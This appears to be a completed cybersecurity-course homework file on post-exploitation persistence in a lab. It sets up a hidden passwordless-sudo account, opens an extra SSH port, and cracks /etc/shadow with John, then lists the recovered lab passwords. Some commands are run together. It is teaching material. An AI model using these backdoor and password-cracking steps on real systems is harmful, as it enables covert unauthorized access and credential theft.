Week 6 Homework Submission File: Advanced Bash - Owning the System

Please edit this file by adding the solution commands on the line below the prompt.

Save and submit the completed file for your homework submission.

Step 1: Shadow People

- 1. Create a secret user named sysd. Make sure this user doesn't have a home folder created:
 - useradd --no-create-home sysd
- 2. Give your secret user a password:
 - passwd sysd
 - o sysd123
- 3. Give your secret user a system UID < 1000:
 - o usermod -u 777 sysd
- 4. Give your secret user the same GID:
 - o groupmod -g 777 sysd
- 5. Give your secret user full sudo access without the need for a password:
 - visudo
 - sysd ALL=(ALL:ALL) NOPASSWD:ALL
- 6. Test that sudo access works without your password:

Your bash commands here

sudo -l

sudo -h

sudo -s

man sudo

Step 2: Smooth Sailing

1. Edit the sshd config file:

Your bash commands here

nano /etc/ssh/sshd_config Add following lines: Port 22 Port 2222

Step 3: Testing Your Configuration Update

- 1. Restart the SSH service:
 - systemctl restart ssh
- 2. Exit the root account:
 - exit
- 3. SSH to the target machine using your sysd account and port 2222:
 - o ssh sysd@192.168.6.105 -p 2222
- 4. Use sudo to switch to the root user:
 - o sudo su

Step 4: Crack All the Passwords

- 1. SSH back to the system using your sysd account and port 2222:
 - o ssh sysd@192.168.6.105 -p 2222
- 2. Escalate your privileges to the root user. Use John to crack the entire /etc/shadow file:
 - sudo sujohn /etc/shadowjohn -show /etc/shadow
 - username:password (8)

sysadmin:passw0rd student:Goodluck! mitnik:trustno1 babbage:freedom lovelace:dragon stallman:computer turing:lakers sysd:sysd123